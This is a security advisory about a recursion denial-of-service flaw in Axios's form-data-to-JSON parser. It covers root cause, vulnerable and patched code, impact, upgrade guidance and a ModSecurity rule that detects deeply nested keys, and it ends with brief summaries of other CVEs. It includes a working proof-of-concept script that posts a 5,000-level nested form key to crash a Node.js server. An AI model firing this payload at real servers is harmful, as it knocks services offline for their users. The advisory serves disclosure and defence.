Jul 20, 2026·8 min read·7 visits
Uncontrolled recursion in Axios's `formDataToJSON` parser allows unauthenticated remote attackers to crash Node.js servers via a single crafted request with deeply nested form keys.
An uncontrolled recursion vulnerability (CWE-674) in the Axios HTTP library allows remote attackers to cause a Denial of Service (DoS) by submitting form-data with deeply nested property keys. When Axios converts this form-data to JSON, it recursively traverses the path segments without establishing a maximum depth limit, resulting in a maximum call stack size exhaustion and a hard process crash in Node.js environments.
Axios is an extensively utilized HTTP client library for Node.js and browser environments, serving as a critical component in many modern JavaScript applications. When handling multipart/form-data payloads, Axios provides automated helper utilities to convert incoming or outgoing payloads between structured JSON and flat FormData formats. This bidirectional serialization logic is vital for microservices, gateways, and web APIs that normalize data transit across heterogeneous endpoints.\n\nThe primary attack surface is located within the processing of nested form-data keys, which are parsed to represent hierarchical JSON structures. The utility function formDataToJSON is responsible for parsing keys such as user[address][city] and translating them into nested JavaScript objects. If the application processes untrusted user inputs containing nested paths, an attacker can directly target this translation step to execute malicious requests.\n\nThe flaw is classified as Uncontrolled Recursion (CWE-674). Because the parser recursively traversed user-defined nested keys without establishing a boundary or maximum recursion depth, it allowed arbitrary nesting depths. When processed on the server-side in Node.js, this leads to a synchronous process termination, resulting in a complete Denial of Service.
The technical root cause lies in the parsing architecture within lib/helpers/formDataToJSON.js. This module uses a regular expression \\w+|\\[(\\w*)]/g inside a tokenizer named parsePropPath to extract nested keys from bracketed string notation. For example, a key defined as a[b][c] is decomposed into an array of path keys: ['a', 'b', 'c']. This array is then supplied to a recursive utility helper function called buildPath.\n\nThe buildPath helper executes recursive calls to traverse and construct the nested object hierarchy: buildPath(path, value, target[name], index). Each nesting level in the key corresponds to a recursive stack frame. The program increments the index variable with each step, but before the patch, there was no validation of index against a maximum allowed depth limit. The function recursively called itself until the end of the path array was reached.\n\nWhen an attacker presents a multipart form-data request where a key has thousands of nested brackets (e.g., a[b][c]...[z]), parsePropPath constructs a massive path array. As buildPath iterates through this path array, it generates thousands of stack frames on the call stack. Once the call stack depth exceeds the limit defined by the JavaScript runtime (such as V8's call stack limit, which is typically around 10,000 frames depending on the execution context), the engine throws a synchronous RangeError: Maximum call stack size exceeded.\n\nIn a typical Node.js server architecture, synchronous errors thrown inside request deserializers or middleware—if uncaught—bubble up directly to the global handler or target thread execution context. Because this crash is a stack exhaustion event, it represents an unrecoverable runtime state for that thread. If the server is not configured with cluster modules or automated process monitoring to restart failed workers immediately, the entire application shuts down, dropping all active and future connections.
The vulnerability can be analyzed by contrasting the vulnerable implementation of the path-building parser with the updated, depth-checked logic introduced in the patch.\n\nBelow is a comparison of the vulnerable implementation versus the patched implementation in lib/helpers/formDataToJSON.js (v1.x branch):\n\njavascript\n// VULNERABLE CODE PATH (Pre-patch)\nfunction parsePropPath(name) {\n const path = [];\n const pattern = /\\w+|\\[(\\w*)]/g;\n let match;\n\n while ((match = pattern.exec(name)) !== null) {\n // NO LIMIT CHECK HERE: Path array grows arbitrarily\n path.push(match[0] === '[]' ? '' : match[1] || match[0]);\n }\n\n return path;\n}\n\nfunction buildPath(path, value, target, index) {\n let name = path[index++];\n if (index < path.length) {\n target[name] = target[name] || {};\n // Recursively calls buildPath without checking call stack limits\n buildPath(path, value, target[name], index);\n } else {\n target[name] = value;\n }\n}\n\n\njavascript\n// PATCHED CODE PATH (Post-patch - v1.x)\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport { DEFAULT_FORM_DATA_MAX_DEPTH } from './toFormData.js';\n\nconst MAX_DEPTH = DEFAULT_FORM_DATA_MAX_DEPTH; // Default limit of 100\n\nfunction throwIfDepthExceeded(index) {\n if (index > MAX_DEPTH) {\n throw new AxiosError(\n 'FormData field is too deeply nested (' + index + ' levels). Max depth: ' + MAX_DEPTH,\n AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n );\n }\n}\n\nfunction parsePropPath(name) {\n const path = [];\n const pattern = /\\w+|\\[(\\w*)]/g;\n let match;\n\n while ((match = pattern.exec(name)) !== null) {\n throwIfDepthExceeded(path.length); // Prevent token accumulation beyond MAX_DEPTH\n path.push(match[0] === '[]' ? '' : match[1] || match[0]);\n }\n\n return path;\n}\n\nfunction buildPath(path, value, target, index) {\n throwIfDepthExceeded(index); // Hard guard during target object path construction\n\n let name = path[index++];\n\n // Additional check to prevent prototype pollution vulnerability vectors\n if (name === '__proto__') return true;\n\n if (index < path.length) {\n target[name] = target[name] || {};\n buildPath(path, value, target[name], index);\n } else {\n target[name] = value;\n }\n}\n\n\nIn addition to limiting formDataToJSON.js, the developers also modified the reverse process in lib/helpers/toFormData.js using stringifyWithDepthLimit. This ensures that even when stringifying deeply circular or recursive objects, the system enforces a strict hierarchy ceiling. This double-sided defense makes the patch complete against recursion-based denial of service vectors across both inbound serialization and outbound transmission.
Exploitation of this vulnerability is straightforward and requires minimal complexity or network bandwidth. The primary prerequisites are that the application must use a vulnerable version of Axios to parse incoming multipart/form-data inputs (either implicitly or via explicit configuration), and the attacker must have network reachability to the application endpoint.\n\nAn attacker can execute a Denial of Service attack using the following payload generation script. This script constructs a single form field with 5,000 nested brackets, which is small in network payload terms (approximately 15 KB) but highly lethal to the receiver's process:\n\njavascript\n// Proof of Concept: Remote Stack Exhaustion Trigger\nconst axios = require('axios');\nconst FormData = require('form-data');\n\nconst nestingDepth = 5000;\nlet payloadKey = 'payload';\n\n// Append bracket pairs to exceed standard Node.js call stack capacity\nfor (let i = 0; i < nestingDepth; i++) {\n payloadKey += '[x]';\n}\n\nconst form = new FormData();\nform.append(payloadKey, 'malicious_content');\n\n// Submitting to an endpoint that deserializes the FormData to JSON\naxios.post('http://vulnerable-target-server.local/api/upload', form, {\n headers: form.getHeaders()\n}).catch(err => {\n console.log('Request initiated. Server process crash expected.');\n});\n\n\nWhen the target server receives this request, the multipart body parser routes the payload parameters to formDataToJSON. The parser is forced to allocate recursive frames for buildPath up to 5,000 levels. Because this exceeds the maximum recursion boundary, V8 throws a fatal RangeError. Because the execution occurs in a synchronous callback context within the HTTP server routing framework, the exception is uncaught, terminating the Node.js event loop instantly.
The impact of this vulnerability is high with respect to service availability. In the Node.js ecosystem, application servers typically run as single-threaded processes sharing a single event loop. An unhandled synchronous exception such as a RangeError from stack exhaustion terminates the entire process, dropping active connections for all concurrent sessions and rendering the application completely unresponsive until it is manually restarted or automatically respawned by an external process manager like PM2.\n\nIf the application does not utilize a persistent process manager or container orchestration with health checks (such as Kubernetes pods with liveness probes), a single malicious request can result in indefinite downtime. Even with automatic self-healing capabilities, an attacker can continuously send requests with nested bracket payloads to maintain a permanent denial of service condition, exhausting server CPU resources during the process startup loop.\n\n> [!WARNING]\n> Because this vulnerability is triggered pre-routing during the automatic parsing of requests, it acts as a pre-authentication vector in many integration setups. This increases the severity, as any unauthenticated user on the public internet can trigger the server crash without credentials.
The most effective and permanent resolution is to upgrade the axios dependency to a secure release. For projects locked on the 0.x release branch, update to v0.33.0 or higher. For applications using the main 1.x branch, upgrade to v1.18.0 or higher.\n\nIf an immediate dependency upgrade is not feasible due to organizational constraints or regression testing procedures, several temporary defense-in-depth mitigations can be deployed:\n\n1. Query and Parameter Inspection Middleware: Introduce incoming request validation middleware to intercept request bodies and query parameters. Scan and reject any keys containing excessive brackets. A recommended threshold is a maximum of 50 brackets per key.\n\n2. Web Application Firewall (WAF) Integration: Implement signatures on upstream load balancers or edge WAFs to detect and block malformed multipart requests. A custom regular expression filter can check for repeated bracket strings:\n\nnginx\n# Example Nginx/ModSecurity WAF Rule\nSecRule ARGS_NAMES \"(\\[[^\\]]*\\]){50,}\" \"id:100001,phase:2,deny,status:400,msg:'Potential Stack Exhaustion DoS Attempt'\"\n\n\n3. Application Container Controls: Configure container managers (e.g., systemd, Docker, PM2) with strict rate limits and automated fast-restart policies. Ensure CPU limiters are enabled to prevent process restart loops from starving other server resources on the same host.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
axios Axios | < 0.33.0 | 0.33.0 |
axios Axios | >= 1.0.0, < 1.18.0 | 1.18.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-674 (Uncontrolled Recursion) |
| Attack Vector | Network (Unauthenticated HTTP POST/PUT requests) |
| CVSS v3.1 Severity Score | 7.5 (High) |
| Impact Type | Complete Denial of Service (Process Crash) |
| Exploit Status | Proof of Concept (PoC) available |
| KEV Status | Not listed |
The software code contains a recursive function but does not limit the depth of the recursion, leading to stack overflow or other resource exhaustion issues.
CVE-2026-59205 is a high-severity heap-based out-of-bounds write vulnerability affecting Pillow prior to version 12.3.0. The flaw stems from a validation omission in the ImageCmsTransform class where source and destination image modes are not checked against the configurations defined during the creation of the transform. An attacker can exploit this discrepancy to trigger a heap buffer overflow or an out-of-bounds read by supplying an under-allocated target image buffer.
A vulnerability in the 'body-parser' Node.js middleware allows unauthenticated attackers to trigger a Denial of Service. When the 'limit' configuration option is misconfigured with an unparseable type or empty value, size limits fail open. This leads to unrestricted heap memory allocation and process crash via Out of Memory (OOM).
A security vulnerability in @astrojs/netlify allows attackers to bypass remote image path restrictions by leveraging unescaped regular expression metacharacters. The integration adapter fails to sanitize developer-defined pathnames before interpolating them into a configuration JSON file consumed by Netlify's Edge Image CDN. This results in overly permissive matching behavior at the edge routing layer, enabling path-traversal and filter bypasses.
Prior to version 1.2.11, the LangChain LLM framework is affected by a Server-Side Request Forgery (SSRF) vulnerability inside its image token counting mechanism. Specifically, the ChatOpenAI.get_num_tokens_from_messages() method retrieves arbitrary image_url values from user prompts without validating the destination host or IP address. Attackers can exploit this issue to scan internal infrastructure, access local services, or harvest credentials from cloud metadata services.
A security vulnerability was identified in the Astro web framework's composable integration pipeline with Hono. Due to the structural coupling of CSRF origin validation exclusively within the `middleware()` primitive, applications assembling their routing pipeline manually could execute state-mutating actions before or entirely without origin validation. This flaw allows attackers to execute blind, write-only Cross-Site Request Forgery (CSRF) attacks against state-mutating Astro Actions or endpoints on behalf of authenticated users.
Multiple cross-site request forgery (CSRF) vulnerabilities in the HTTP Administration component in Cisco IOS 12.4 on the 871 Integrated Services Router allow remote attackers to execute arbitrary commands via crafted HTTP requests. This occurs because the web administrative server fails to validate request origins or use anti-CSRF tokens, allowing an attacker to abuse an active administrative session.